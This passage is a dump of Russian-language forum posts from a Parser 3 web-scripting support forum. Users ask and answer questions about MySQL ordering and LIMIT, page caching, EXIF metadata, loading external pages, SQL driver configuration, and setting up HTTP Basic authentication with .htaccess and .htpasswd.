\"SELECT time,nickname,text FROM dc_logos ORDER BY time DESC LIMIT 20\", но это не то (он просто берет 20 попавшихся под руку, а потом их порядочит).\
Подскажите как сделать правильно?\
За ранее благодарен."
"11367","[code]\
$x[^image::measure[/images/image.jpg]]\
^x.font[0123456789;/webcondensedc.gif](0)\
^x.text(1;1)[123567890]\
[/code]\
Выдает такую ошибку:\
[code]\
Unhandled Exception (Debug)\
does not contain an image\
[b]text[/b]\
[/code]\
\
Я же вроде все правильно сделал."
"11370","Уважаемые монстры и гуру парсера обьясните чайнику плиз.\
есть ссылка напрмер http://moysite.ru/index.html?a=1&b=2&c=3 , так вот как отдуда взять эту строку понятно, как сделать из нее при необходимости таблицу тоже понятно, но обьясните мне плиз как например получить допустим три переменные ге имя переменной это левая часть (a,b,c), а значение правая (1,2,3). Я себе уже мозги вывихнул. Если делать из всего этого таблицу через lsplit и потом матчить внутри ^table.menu то естественно использовать эти переменные можно только внутри метода ^table.menu, а мне они нужны в совершенно другом месте, например при определении переменных в sql запросе. Буду очень признателен за готововое решение или хотя бы за популярное обьяснение как это делается. Заранее спасибо за ответ.\
P.S. Ногами не бить :)"
"11372","#\
# Q1: Переменная $ORIGINS может принимать любые значения (числовые) ?\
#\
\
RTFM: \"При его включении кроме тех данных, которые создал ваш код, \
дополнительно будет показано, откуда они появляются.\"\
\
По моим наблюдениям :-), также убираются тэги и параметры \"оформления\" (выводится только их значение).\
\
# Предложения и просьбы:\
1. Хотелось бы получить разъяснения по формату выводимой строки, чтобы новичкам не гадать по поводу \"#C.O:\" и т.п.\
(к авторам документации: это можно было бы сделать, например, в следующей ее версии)\
\
2. Может быть, выводить debug-информацию (путь и т.п.) не прямо на странице, что разрушает ее внешний вид, \
а, скажем, добавлять параметр title (alt, name)?\
К примеру: <span title=\"z:/home/parser/www/auto.p(202)#C.O:\">проблема</span>\
Идея в том, что debug-информацию можно будет увидеть, подведя курсор к \"проблемной области\".\
\
3. Не логичнее ли при $ORIGINS(0) отключать режим отладки? Т.е. сделать ее boolean.\
Сейчас, как я понимаю, проверяется лишь ее наличие: определена $ORIGINS - отладка, не определена - норма.\
\
Можно, конечно, дальше пофантазировать на тему $ORIGINS(1) - вывод с сохранением пользовательского оформления,\
$ORIGINS(2) - вывод как сейчас, но это, как я понимаю, пока \"шашечки\" :-).\
\
4. Кто-нибудь может поделиться своим опытом по организации debugging'а в Parserе? \
Я пока сделал примитивно: ввел переменную $DEBUG и написал функцию, которая при условии $DEBUG(1) \
показывает нужную отладочную информацию (значения переменных и т.п.).\
Вызов функции разместил где-то в @footer страницы.\
\
\
#\
# Q2: Существуют ли другие \"системные\" переменные типа $ORIGINS ?\
#\
\
На это, конечно, первый ответ - RTFM, но, может быть, есть нечто недокументированное, а описАть - руки не доходят?\
\
Спасибо!\
"
"11373","2Misha: мои проблемы с авторизацией на форуме сохраняются, на личное письмо, увы, ответа пока нет.\
Я про то, что после авторизации форум никак не отмечает этого (шампанское, икра ... :-).\
Собственно, \"горячей\" необходимости что-то менять в своих настройках у меня сейчас нет, просто хотелось бы знать - это баг или фича?\
\
^if(bug){\
\
  ^if(мои проблемы){\
\
     ^mail2misha[ $Cитуация[ОС, браузер и т.п.] ]\
     ^wait[$request:from_misha]\
     ^my_thanks[big]\
\
  }{\
     ^wait[$misha ne $busy]  \
  }\
\
}{\
\
  $IMHO:нравится ваш подход (Воронежский napisal), что, скажем, меню на сайте должно ясно показывать юзеру, в каком он месте ( :-) оказался.\
\
}\
\
@my_thanks[]\
Надеюсь, что не отнял у вас слишком много времени на чтение этих parser_jockes.\
Искренне (и совершенно безотносительно к вашим будущим ответам мне) хочу поблагодарить вас всех за Parser \
и, особо, за возможность учиться на образцах работы других.\
А то, знаете-ли, надоело как-то уже танцевать наш национальный танец на граблях...\
\
^cache[Misha_v3][01.01.2004]{\
Персональные благодарности за пример с кешированием! Как раз сейчас разбираюсь с ним.\
}\
#not all end of @my_thanks[]\
\
"
"11375","может со структурой таблицы что-то не так? \
Если это лог чата за несколько дней, тип столбца \"time\" лучше изменить на [b]datetime[/b], однозначно. Я надеюсь что сеичас он [b]time[/b], а не [b]varchar(8)[/b]? Лень рыться в документации, возможно слово time в MySQL зарезервировано, тогда стоит переименовать это дело.\
 \
Ну ещё можно попробовать построить запрос без [i]ORDER BY time[/i] и сравнить результаты, не думаю что он [i]просто берет 20 попавшихся под руку, а потом их порядочит[/i].\
\
 "
"11376","Уважаемые старейшины и не только!\
\
Не могли бы вы объяснить популярно про применение EXIF информации в JPG?\
\
Можно ли записывать, а потом считывать описание картинок? В спецификации на EXIF.org указано наличие поля ImageDescription наряду с MAKE. \
\
Если можно, то какими программа это можно сделать? Я пробовал с PhotoStudio, но ничего не получилось.\
\
В целом у меня идея была такая: для картинок в галерее использовать в качестве комментария (описания) EXIF информацию. Можно ли так сделать? \
\
Спасибо заранее.\
Baurjan."
"11377","А что у тебя за поле id такое странное, если это первичный ключ, то почему он не уникальный? Если у тебя это ключ, то сделай его целым и автоинкрементным, еще сделай поле time не типа TIME,  а типа TIMESTAMP, а то проблемы будут в твоем чате при переходе через полночь. Тогда ты сможешь сделать такой запрос, чтобы выбрать последние 20 сообщений с последними датами (а значит и с наибольшим значением id)\
SELECT\
    time,\
    nickname,\
    text\
FROM\
    dc_logos\
ORDER BY\
    id DESC\
LIMIT\
    0, 20\
(Упорядочивается по id, потому что сортировать по целому числу быстрее, чем по дате)"
"11378","Такая конструкция возвращает хеш со всеми полями формы или параметрами, переданными через URL. Имена ключей хеша те же, что и у полей формы, значения ключей совпадают с содержимым полей формы. \
^form:fields.foreach[field;value]{ \
   $field - $value \
}[<br>] \
Может я конечно не тормоз но медленный газ это точно, обьясни мне плиз как мне обратиться в последствии к этому хешу? Создать пустой хеш и запихнуть в него это у меня не получается :((( Заранее спасибо за ответ.\
\
"
"11380","В таблицу регулярно добавляется информация. Она кажется добавляется всегда вниз.\
Так вот, мне фактически нужно взять последние 20 строк, как это провернуть я не доганяю."
"11382","Парсер установлен скриптом на Апаче.\
как можно отловить ошибку? Выдается сообщение Unhandled Exception и т.д. Пишет, что надо смотреть Parser error log или debug version of unhandled_exception.\
Где копать то, подскажите?"
"11383","Если тебе нужно взять именно ПОСЛЕДНИЕ ДОБАВЛЕННЫЕ в таблицу строки, то сделай как я написал. Другого способа придумать не могу:)"
"11384","#\
# Q3: Как определить оптимальное время кеширования?\
#\
У Misha v.3 есть пример кеширования страниц (tnx Мише!). \
В примере можно делать индивидуальные настройки по времени кеширования \
для отдельных страниц.\
\
Подскажите, pls, что нужно принимать во внимание при установке этого времени \
для разных страниц?\
Может, существует алгоритм расчета?\
\
Спасибо!\
"
"11385","#\
# Q4: Как избежать кеширования фрагмента?\
#\
При кешировании всей страницы (см. пример Misha v.3) бывает необходимо избежать \
выдачи кешированных результатов какой-нибудь функции, например, счетчика посещений.\
Хорошо, если можно \"локализовать\" некешируемый кусок кода (если позволяет структура \
страницы, как в Примере1), а если нужно вывести нечто не в конце страницы, а в ее теле? \
\
\
Пример1:\
# в корневом auto.p\
@main[] \
\
# кешируем header и body страницы\
^cache:my_cache[\
  ^header[] \
  ^body[] \
]\
\
# footer не кешируем - там счетчик\
^footer[] \
\
# кстати, не знаю, зачем это здесь - вроде работает и без нее?\
$main[]\
#end Пример1\
\
Какие могут быть подходы к решению этой задачи?\
\
Спасибо!\
"
"11386","Как получить текущую дату в переменную я знаю - $now[^date::now[]]\
Вывести год этой даты, тоже знаю - $now.year, а вот как получить предыдущий год, последующий год, или 2010 год - не знаю."
"11387","[url=\"./?id=5602\"]где лог ошибок, PAF [22.08.2002 11:26][/url]\
[url=\"./?id=8100\"]где лог ошибок, PAF [14.10.2002 11:42][/url]"
"11388","я думаю, что использовать базу данных будет намного эффективнее, экономичнее и проще. ;-) "
"11390","Да, конечно, работать с базой в данном случае удобнее. Я не вел разговор об способах реализации галереи.\
\
Просто хочется узнать как используется данная фишка JPG. C другой стороны, если можно записывать описание картинки в саму картинку, то тут можно и без базы обойтись: записать комментарий один раз и всё, для маленьких галерей пойдет.\
"
"11391","Остается только выяснить как засунуть этот самый xml:lang ...\
Будем искать!"
"11392","http://www.parser.ru/docs/lang/dateroll.htm"
"11393","Мне совсем не понятно, с какого пятерика мне [i]вдруг понадобиться вывести что-то в произвольном месте[/i]? А в следующий раз его не будет или просто в другом месте окажется? А через раз? Ответы на эти вопросы многое прояснят. Пока же мне кажется, что это придумывание приключений на свою голову."
"11394","Да нет. Ты не понял. id - это не идентификатор сообщения, - это идентификатор авторизованного участника. Даже поле nickname здесь пока присутствует, но я его уберу. Это значительно экономней.\
Ты мне написал LIMIT 0,20 - это он просто возьмет первые 20, а не последние. Я представляю это так: \"LIMIT (колличество сторок - 20), 20\" - но я не знаю как высчитать (колличество строк).\
Можеш показать как это опредилить на SQL языке?"
"11395","Прочитай, что ответил Sergey M.\
Я также как и он сильно сомневаюсь в случаности выбора - мне ни на одном сервере не удалось получить \"случайных\" результатов.\
Итак, я создал таблицу\
[code]create table tst (\
   id int,\
   time time,\
   nick varchar(100),\
   text varchar(100)\
)[/code]\
записал в нее первые 4 строчки приведенных тобой данных и запросил\
[code]select\
   time,\
   nick,\
   text\
from\
   tst\
order by\
   time desc\
limit\
   20[/code]\
и вот результат:\
[code]| 16:53:58 | 123 | HI | \
| 15:50:19 | OK | ааа | \
| 15:50:08 | OK | Привет всем | \
| 15:46:43 | OK | 123 |[/code]\
при limit 3 результат\
[code]| 16:53:58 | 123 | HI | \
| 15:50:19 | OK | ааа | \
| 15:50:08 | OK | Привет всем | [/code]\
Что здесь не так? Что просили, то и получили...\
\
Мож где потом сортируется?\
"
"11396","Вот еще один вариант защиты страницы (правда только для одного логина\
<?php\
$LOGIN = \"логин_пользователя\";\
$PASSWORD = \"пароль_пользователя\";\
\
function error ($error_message) {\
	echo $error_message.\"<BR>\";\
	exit;\
}\
if ( (!isset($PHP_AUTH_USER)) || ! (($PHP_AUTH_USER == $LOGIN) && ( $PHP_AUTH_PW == \"$PASSWORD\" )) ) {\
	header(\"WWW-Authenticate: Basic entrer=\\\"Form2txt admin\\\"\");\
	header(\"HTTP/1.0 401 Unauthorized\");\
	error(\"Unauthorized access...\");\
}\
?>\
\
Люди!\
Помогите пожалуйста: создайте плз файл .htaccess and .htpasswd\
и файл с формой добавления пользователей. У меня не получается.\
И расскажите плз как расшифровать полученные пароли."
"11398","Я еще раз попробую объяснить.\
В таблицу добавляются строки при работе ЧАТА [b]всегда в конец[/b]\
Примерно так:\
\
| 15:46:43 | OK | 123 |\
| 15:50:08 | OK | Привет всем | \
| 15:50:19 | OK | ааа | \
| 16:53:58 | 123 | HI | \
\
а не так\
\
| 16:53:58 | 123 | HI | \
| 15:50:19 | OK | ааа | \
| 15:50:08 | OK | Привет всем | \
| 15:46:43 | OK | 123 |\
\
Так вот. При запросе LIMIT 3 он возьмет первые 3 строки, а мне нужны [b]последние[/b] 3\
\
Я представляю себе запрос так \"LIMIT (колличество сторок - 20), 20\" - но я не знаю как высчитать (колличество строк)??????????\
ВОТ ЧТО МНЕ НУЖНО!!!"
"11399","Внимательно прочитай _свой_ вопрос и подумай, кого-нибудь трогает, в каком порядке данные [b]записываются в базу[/b]? Более того, они всегда пишутся в конец, ибо append!\
\
Дальше. Ты делаешь запрос который на русском языке означает следующее:\
[i]База, покажи мне время, имя и текст из вот этой таблицы [b]начиная с последнего по времени[/b]. Мне нужно их всего 20, те, что раньше - мне не нужны.[/i]\
База честно отдает сначала [i]самый последний по времени[/i], потом [i]предпоследний[/i] и так 20 раз.\
\
А если кто-то забывает потом сортировать обратно, это уже проблемы не SQL...\
\
Логика, мать ее, великая вешь, если есть..."
"11400","...самоцензор не позволяет мата, но я бы оторвался от души...\
\
кол-во строк вычисляется так :\
[code]\
^int:sql{SELECT COUNT(field_name) FROM table_name}[$.default{0}]\
[/code]\
но почему ты не соберешь структуру как тебе советуют, я не пойму...гонишь, что ли..."
"11401","Я другой способ разобрал, и у меня почему-то не то получается. Еще раз сегодня вечером посмотрю. Но вам спасибо, я думаю вы мне подсказали понятное мне решение."
"11402","а сразу получить все правельно из SQL запроса:)"
"11403","Ибо вы совсем не знаете то, о чём говорите. Современная теория БД основана на математической теории множеств, а они неупорядочены по определению, т.е. в них не важно в каком порядке представлены элементы. Так и в БД - неважно в каком порядке находятся строки в таблице. Для представления строк в требуемом порядке есть сортировка, которая в SQL задается словом ORDER BY, стоит почитать подробнее об этом."
"11404","[quote]\
человекообразный человек\
[/quote]\
вы где таких словей нахватались? Это комплимент, или упрек? Ново осознавать, что я \"человекообразный человек\"..:).\
\
А на счет алгоритма и решения задачи в общем вы всетаки подумайте - ваш вариант не \"сексуален\", можно, и нужно спортивнее."
"11405","А так не лучше ли?\
\"SELECT * FROM table_name ORDER BY time DESC LIMIT COUNT(field_name)-20,20\""
"11406","Кто бы помог этот MySql настроить\
он отказывается настраиватся под парсер, под Flash5 \
идет, а под парсер чёто не........"
"11407","у тебя время будет работать только на сутки, потом тебе придется или удалять прошлодневные сообщения, или будут вытянуты неактуальные(в неделе бывает семь раз 16:43). Поэтому сортировать по этому полю нельзя. Измени его на DATE - все будет путем.\
\
Обдумай решение.\
\
[b]Цитата :[/b] Логика, мать ее, великая вещь, если она есть"
"11408","не пойму оно не хочет видить SQL:drivers \
их надо настраивать в главном auto.p или в том что в страничке.\
вот такое у меня в auto.p странички\
@auto[]\
$connect_string[mysql://andrew:and@localhost/usr/local/mysql/data/p3test] \
"
"11409","Это тестовый вариант. Я хоть и beginer, но не идиот."
"11413","...и у тебя она плохая.\
\
Так самолет не летает.\
\
Зачем тестировать то, что не станешь использовать? Если станешь, то надо делать с умом, не оправдываясь \"не-идиотизмом\".\
\
Так самолет летает."
"11414","теги никуда не убираются, ваши наблюдения неверны, повторите наблюдения.\
\
1. #X.Y \
X << язык фрагмента строки, первая буква от его полного имени, C=Clean.\
Y << флаг оптимизирования, нужно ли оптимизировать whitespace фрагмента строки\
\
2. думал об этом. подумайте и вы, вот пример:\
<img alt=\"$variable\">\
\
3. какая «отладка» имеется в виду?\
\
4. я использую ^throw[debug;тестовые данные]"
"11416","запись не реализована, и вряд ли будет."
"11417","подскажите как можно решить такую проблему.\
у меня сайт на Парсер 3, на одну из страниц нужно вставить содержимое другой страницы из внешнего веба. процедура <!--#include virtual ... не работает поскольку обработкой *.html документов занимается Парсер а не SSI.\
\
Хостер посоветовал настроить Парсер, чтобы он обрабатывал директивы SSI.\
\
Пожалуйста, помогите."
"11418","мы используем такой подход:\
[code]\
@banner[]\
<img src=\"[mutation]^^generate_banner_link[][/mutation]\">…\
\
@main[]\
^cache[ключ](время){\
    …\
    ^banner[]\
    …\
}\
\
@postprocess[body]\
#найти все [mutation]код[/mutation]\
#и заменить их на ^process{код}\
[/code]\
\
так можно более-менее общо делать замены средней сложности."
"11419","что вам мешает грузить файл и выводить его текст через ^process{}?"
"11420","если общее количество вариантов страницы невелико, скажем, в случае небольшого количества банеров, показывающихся собственной системой, можно использовать случайный cache-ключ:\
\
[code]\
$номерБанера(^math:random($всего-может-быть-баннеров-на заглавной))\
^cache[заглавнаяСтраница$номерБанера](время){\
    код заглавной страницы, включающий банер $номерБанера\
}\
[/code]"
"11421","по-хорошему, загружать документ синхронно обычно не стоит.\
куда лучше: загружать асинхронно, раз в N минут/часов.\
parser можно запустить и из crontab [unix] и из at service [winnt].\
\
почитайте раздел http://parser.ru/docs/lang/parserscript.htm и поговорите с вашим админом."
"11422","пишу\
\
$f[^file::load[text;http://www.travel.ru/inc/side/n_eg.inc]]\
^process{^f[]\
}"
"11423","вы шлете ^process{} на объект класса file. Нужно работать с текстом файла : \
[code]\
$f[^file::load[text;http://www.travel.ru/inc/side/n_eg.inc]]\
^process{^taint[$f.text]}\
[/code]"
"11424","Не могли бы вы объяснить популярно про применение EXIF информации в JPG?\
\
Как вам идея с использованием этой информации для описания картинок в галерее?\
\
В принципе можно ли записывать такую информацию в JPG? Я не имею в виду с помощью Parser, я имею в виду в общем. Если можно, то знаете ли вы какими программами это сделать."
"11426","как нажимаю послать новую новость (пример из документации 4 урок)\
оно мен выдает:\
x:/www/pars/auto.p(2): 'mysql://andrew:and@localhost/usr/local/mysql/data/p3test' $SQL:drivers table must be defined  type: parser.runtime"
"11427","1. нет, есть ссылка, кто хочет, да прочтёт готовое.\
2. ужасно\
3. конечно можно записывать. нет."
"11428","скачан и положен в cgi-bin?"
"11429","проверьте главный auto.p, он рядом с parser3. В нем должны правильно указаны пути к драйверам.\
\
Хотя обычно все работает без проблем и в нем копаться не нужно."
"11430","с локальным все Ок, но внешний файл подцепить не могу.\
http://www.travel.ru/inc/side/n_eg.inc\
в чем может быть дело?"
"11432","Тоже пишет $SQL:drivers table must be defined  type: parser.runtime\
\
в папке lib лежит libparser3mysql.so\
\
в файле auto.p написано\
\
...\
\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
]\
\
...\
"
"11433","в auto.p всё ок (я так думаю)\
для более плодовитой беседы \
можно поговорить по аське:\
175678312"
"11435","Конечно, же речь не идет о выводе без кеширования в \"произвольном\" месте (то в одном, то в другом ..). \
Я, вероятно, не сумел ясно сформулировать свой вопрос: как быть, если в кешируемой странице есть \"места\" (например, счетчик посещений), которые кешировать-то не надо бы. "
"11436","Интересны ваши мнения:)\
\
По просьбам \"своих труженников\" решил быстро написать добавление коментариев к статьям и т.д. Но т.к. времени пока мало и б.д. аля mysql и т.д. пока нет. Иду по пути файлов.\
Алгоритм простой, но может глупый(???)\
Статьи находятся в файлах ст1.хтмл - определяю имя файла статьи - создаю такой же файл - аля ст1.сфг - и шпарю просто вывод содержимого из файла и соответственно добавляю новое в конец:)\
\
Можно просто в текстовом файле, а можно в cfg, используя table.\
Что в данном варианте лучше?\
\
Заранее спасибо)"
"11437","[что вы неправильно думаете, полагаю, излишне?]"
"11438","так сразу трудно сказать, что за код пробуете, что за сообщение об ошибке получаете?\
\
[надо такой текст обозначить ОТВЕТ_НА_F_ВОПРОС#1]"
"11439","получить текст с внешнего сайта так и не смог, скопировал локально.\
Но вставляется просто текст, ссылки парсер не воспринимает.\
Как быть?"
"11440","конструкция вот такая\
$f[^file::load[text;http://www.travel.ru/inc/side/n_eg.inc]]\
^process{^$f.text}\
\
а ошибки..., дали совет в логах смотреть, а у меня парсер логи никуда не пишет, все обыскал. в форуме спрашивал, но на Caravan'е ничего не нашел, так что борюсь с кодом методом тыка. \
\
вот еще гемор:\
сохраняю этот файл у себя на сервере, а ссылки вставляются как текст"
"11441","хотя тут многое зависит от задачи. В любом случае работать с table будет удобнее, imho."
"11442","первоночально, вчера т.е быстро написал с тхт файлами, но понял, сколько ненужного кода туда засоряется(\
\
А вообще, сама то идея файл - статья - файл - комментов. Приемлима то впринципе?"
"11443","Ты смотрел в [url=\"/examples/lib/\"]примерах[/url] метод ^include[]?\
Если нет - то посмотри, может тебе этого будет достаточно...\
\
А по повозу загрузки по http... Не нашел в доке, но может подобная загрузка подразумевает, что сервер должен вернуть соответствующий content-type?"
"11449","С сылками сам разобрался :-)\
В ФАКе этого нет, если кому то нужно будет вставить хтмл документ в другой и чтоб ссылки были, то вот так\
\
[code]\
$f[^file::load[text;news.htm]]\
^process{^untaint{$f.text}}\
[/code]\
\
\
2 Misha \
а с ^include[] щас попробую разобраться\
"
"11450","1.\
где логи лежат: вопрос к вашему администратору.\
ну да это вторично, на экране что за ошибку видите?\
\
2.\
зачем вам сдался process? вам нужен для начала просто $f.text.\
когда увидите, возможно, понадобится ^untaint{него}.\
и не забывайте, что load[http:// работает только начиная с версии 3.0.0006"
"11452","[quot]Я достал из файла/базы данных текст, содержащий теги, но при выводе в броузер пользователя теги заменяются на &lt; и соответственно не обрабатываются броузером. Но я хочу, чтобы эти данные выводились \"как есть\". Как мне быть?[/quot]\
\
ответ есть в факе..."
"11453","\"... работает только начиная с версии 3.0.0006...\" можно понять так, что это работает с версией 3.0.0005?\
\
Если вы поняли это так, то: подобная конструкция не работает в версии 0001 и 0005 и работает в 0006, 0007..."
"11454","я не заметил в твоем сообщении слова \"из внешнего веба\".\
\
т.е. ты получишь просто html, который естественно (как тебе уже сказал ПАФ) не надо \"процессить\". Тебе его нужно просто вывести, используя соответствующий taint/untaint."
"11456","еще раз извините что задавал глупые вопросы"
"11458","Парсер работает хорошо - токо я дошол до баз данных - все нефига не работает? кроме канечно-же самого парсера\
если вы знаете как установить парсер через cgi-bin то напишите\
у меня нечего не вышло"
"11459","исходный файл, что я загружаю из сети, в кодировке Windows (кирилица), а когда вставляется на моем сервере, то этот кусок вставляется в KOI8-russian (остальная часть страницы windows-1251)\
Очевидно надо пользоваться $response, но как в моем случае его использовать не могу въехать.\
\
Буду крайне признателен за вашу помошь."
"11460","я пока только начал внешние запросы, так что пока parser вам не ничего не перекодирует.\
\
посмотрите, если на удалённом сервере стоит Русский Apache, обычно можно его попросить на каком-то порту в какой-то кодировке.\
ещё можно задать в запросе определённый заголовок user-agent, и Русский Apache может понять, что вам нужно win."
"11461","...данные, которые ты пытаешься подргузить с внешнего сервера таки не всегда в windows-1251.\
\
Например, там стоит русский апач, который определяет какому клиенту в какой кодировке что выдавать. И когда ты пытаешься запросить у этого сервера страничку используя свой броузер - он определает и отдает тебе ее в 1251, а когда ты приходишь клиентом, в качестве которого выступает парсер, то тот веб сервер не справляется и выдает в default для него кодировке, которая кои8 (все это предположения).\
\
Для того, чтобы проверить, открой телнет и пошли на тот сервер запрос из него... Посмотришь, что тебе придет...\
\
Как варианты (если диагноз подтвердится):\
- некоторые сервера, на которых установлен русский апач настроены таким образом, что если ты придешь на default порт - пытаются сделать автодетект клиента, а если на определенный - то выдают ответ в строго определенной кодировке (ссылка по теме: http://www.artlebedev.ru/kovodstvo/ru-standart/2.html )\
- поиграйся с отправкой необходимого заголовка на сервер ( http://parser.ru/docs/lang/app1.htm )\
"
"11463","просто ошибка '$SQL:drivers table must be defined, type: parser.runtime' обычно означает, что не найден / не считывается главный конфигурационный файл парсера.\
Что надо делать:\
\
1. скачать [url=\"http://www.parser.ru/f/1/download/win32/parser3conf_20020919_win32.zip\"]этот архив[/url](Win32), положить его в папку рядом с парсером, \"счелкнуть\" по нему правой кнопкой мыши и из контекстного меню выбрать \"Extract here...\". Если всё сделано правильно, рядом с парсерным cgi-шником/exe-шником, или что там у вас, должен лежать / появиться фаил auto.p и папки lib и charsets.\
\
2. в папку lib скачать и разархивировать [url=\"http://www.parser.ru/f/1/download/win32/parser3sql_3_0_0006_win32_mysql.zip\"]драивера MySQL[/url].\
\
теперь на вопрос PAF'a на месте ли конфигурационный фаил можно с уверенностью отвечать \"Да, и драйверы на месте\".  :-)"
"11464","Всё работает ок но вот урок 4 не хочет (базы данных), покажите мне кто-нибуть ваш auto.p в папке admin демонстрационной странички"
"11465","парсер я установил, но путём запуска инстала > в папку x:\\usr\\local\\parser\
на этом диске такое дерево\
диск (вертуальный)x--\
                     -home\
                     -usr \
                          -local\
                                -apache\
                                -php\
                                -mysql\
                                -parser\
                     -www (тут у меня сайт)\
но я читал что там как-то можно парсер установить через cgi-bin\
--------------------------------------\
ПОДСКАЖИТЕ КАК ПРАВИЛЬНО ЕГО УСТАНОВИТЬ"
"11466","Какой хоть у тебя тип сервера? Апач? БСД? Какая версия?\
\
Если это Денвер (читай — Джентльменский Набор Веб-разработчика), то важно знать, какая версия Апача там: в первой версии — cgi-bin, во второй — cgi-glob...\
\
Соответственно изменяется и прописанный в .htaccess путь..."
"11469","а речь идет о главном конфигурационном файле парсера, который тоже называется auto.p и находится в cgi-папке рядом с исполняемым файлом (обычно parser3.exe). Если его там нет, нужно его туда [url=\"http://www.parser.ru/forum/?id=11463\"]положить[/url]. Если всё есть и [b]всёравно не работает[/b], тогда другой разговор.\
\
"
"11471","При попытке криптовать пароль из цифр, никаких проблем, а вот при криптовании букв пишет:\
invalid number (double)\
\
Почему?"
"11474","послушайте.\
То, что я потом ко времени добавлю еще и дату в тот же столбик не есть фатальная ошибка, требующая перелопатить основную идею, вот так-то!"
"11475","ха.\
у меня auto.p в cgi-директории нет и все работает пучком (все ок)"
"11478","isa, если вы настаиваите на том, что читать документацию, это не для вас, и вы мыслите сами, подумайте пожалуйста, откуда parser узнает, где лежат его sql драйвера?\
\
если вы убеждены, что он просто ищет их рядом с собой в каталоге lib, спешу вас разубедить, это не так.\
я не настаиваю на расположении каких либо файлов, поскольку каждый сисадмин себе голова, и сам всегда хочет решать и решает, где у него что лежит.\
\
остаётся лишь объяснить parser'у, где лежит тот или иной файл.\
\
это относится и к sql драйверам:\
[b]нет[/b] в cgi-bin файла auto.p с методом @conf, \
значит parser'у [b]не[/b] объяснили, где лежат его драйвера, \
и значит работа с ними работать [b]не[/b] будет. \
\
остальное, возможно, работает, но вам ведь сейчас понадобилось ^connect, правильно?"
"11479","когда ответ от cgi-скрипта больше клиенту веб-сервера не нужен, например пользователь нажал кнопку stop, или потерялась связь, веб-сервер посылает скрипту сигнал «послушай, тут твой output больше никому не нужен». в версиях parser до 3.0.0005 этот сигнал специально не обрабатывался, и происходила его обработка по-умолчанию = убивание процесса посередине его работы [исключение составлял parser, соединившийся с oracle, там oracle библиотека включала игнорирование этого сигнала].\
\
это нехорошо, что нас убивали, и мы ничего не могли аккуратно закрыть.\
\
теперь parser отлавливает этот сигнал, и создаёт ошибку «parser.interrupted», см. http://parser.ru/docs/lang/parserexceptions.htm\
\
в том случае, если до обработки запроса [b]ещё[/b] дело не долшло, или, наоборот, запрос [b]уже[/b] обработан, в лог и попадёт приведённая вами запись."
"11480","вы неправильно меня поняли. я не считаю, что доку читать не надо (надо-надо-надо). я имел ввиду, что в cgi - директории у меня нет даже parser.cgi/exe и все работает как надо. т.е., хостер настроил сервак так, что юзверям ненадо ничего никуда кидать. все уже установлено."
"11482","если вам parser настраивает ваш хостер, это его задача настроить всё правильно, не ваша.\
\
вот пусть [b]он[/b], а не [b]вы[/b] почитает моё объяснение. он поймёт."
"11484","[code]\
^if(def $form:login && $form:pass){\
$users[^table::create{name	password\
$form:login	$form:pass\
}] \
	$htpasswd[^table::create[nameless]{}] \
	^users.menu{ \
		^htpasswd.append{$users.name:^math:crypt[$users.password;^$apr1^$]} \
	} \
	^htpasswd.save[nameless;/parser3/makepass/.htpasswd]\
		$response:refresh[$.value[0] $.url[$request:uri]]\
}{\
	Заполните все поля формы...\
}\
[/code]"
"11485","Речь пойдет только про Parser 2\
Как сделать чтобы при обработке одной страницы (или одного фрейма) парсер ложил куки и в следующих проверках ниже в коде проверял на наличие куки и того то там.\
Если кто не понял поясню\
Стоит форма заказа, где form action ссылается на некий документ (order.html) с неким параметром id. Этот документ (order.html) при загрузке считывает параметр ^form[id] и кладет его в куки. И ниже должен вывести таблу с заказываетмыми изделиями, то есть стоит проверка на наличие куки и что там, разбивается на товары и так далее.\
Если я просто вставляю условие проверки на куки, то там ничего нет, а появится только лишь при следуюшей перезагрузке order.html\
"
"11486","но в Парсер3 куки доступны для чтения сразу после записи."
"11488","http://www.spearance.ru/parser3/makepass/"
"11489","Люди. Актуально ли сейчас при публикации текстов заменять \" на &quot;\
\
По моему нет.\
А вы как считаете?"
"11491","есть скрипт a.php:\
<? echo\"hi\"; ?>\
тутже лежит скрипт a.html:\
@main[]\
   $cgi_file[^file::exec[a.php]]\
   $cgi_file.text\
\
и все это не работает, ошибка номер 243.\
в чем дело?!\
((("
"11493","Люди. Кто виноват, в том, что flash файл давно обновлен, а открывается по прежнему стырый?\
\
Выноват Плейер клиента или Сервак?"
"11494","этот лось имеет особенность кэшировать результаты работы страниц. Не все лоси такие, но, кажется, твой из этого стада. Почитай факи своего сервера - обычно там пишут, как почистить кэш."
"11495","[url=\"http://offline.home.cern.ch/offline/web/http_error_codes.html\"]здесь[/url] кода 243 нет. Но есть подозрение, что это [b]internal compiler error[/b]."
"11496","Он вроде как меняет символы 'кавычка' на &laquo;/&raquo; в зависимости по обстоятельствам, а чтобы менял на &quot; я не слышал..."
"11497","найдите мои сообщения"
"11498","У меня довольно странный вопрос.\
\
Есть такая фишка, всплывает окно с предложением ввести логин и пароль, - такое есть на rambler, spylog.\
\
Мне интересно как это делоется?\
Подозревая что HTTP заголовками, но не знаю как:(\
Кто знает подскажите. Хочется для администрирования такую фишку использовать."
"11500","А поподробней можно?"
"11502","В каталоге, который хочешь закрыть, создаёшь файл \".htaccess\", а в нем пишешь:\
\
[code]\
AuthType basic\
AuthName \"some text\"\
AuthUserFile путь_к_файлу_с_паролями_(см._man_htpasswd)\
require valid-user\
[/code]\
\
[b]Замечание![/b] Вместо [i]require valid-user[/i] можно написать [i]require user список_пользователей_разделённый_пробелами[/i]\
\
Ещё можно рулить группами (см. AuthGroupFile) и вообще всё это можно делать через MySQL (см. mod_auth_mysql - модуль для Apache).\
\
Полная документация здесь: http://httpd.apache.org/docs/\
\
Удачи.\
\
P.S.: Это может не работать, если что-то там запрещено в httpd.conf. Точно не помню."
"11504","Я как извено не могу настроить SQL. \
Кто бы обяснил как это сделать:\
Чтобы увидеть полные пути к конфигурационным файлам и DOCUMENT_ROOT - закоментируйте метод [color=\"red\"]postprocess[][/color]\
что это за метод и где его искать, я уже всё перерыл - его нет......."
"11505","...который можно скачать, чтобы протестировать корректность установки парсера.\
\
Если я угадал, то как ты думаешь, где можно искать метод ^postprocess[] чтобы закоментировать, если речь идет об ОДНОМ файле (_test.html)?\
\
Неужели так сложно было открыть его в текстовом редакторе и хотя-бы попробовать нажать Ctrl-F и найти слово postprocess?"
"11506","не пойму оно не хочет видить SQL:drivers\
их надо настраивать в главном auto.p или в том что в страничке.\
вот такое у меня в auto.p странички\
@auto[]\
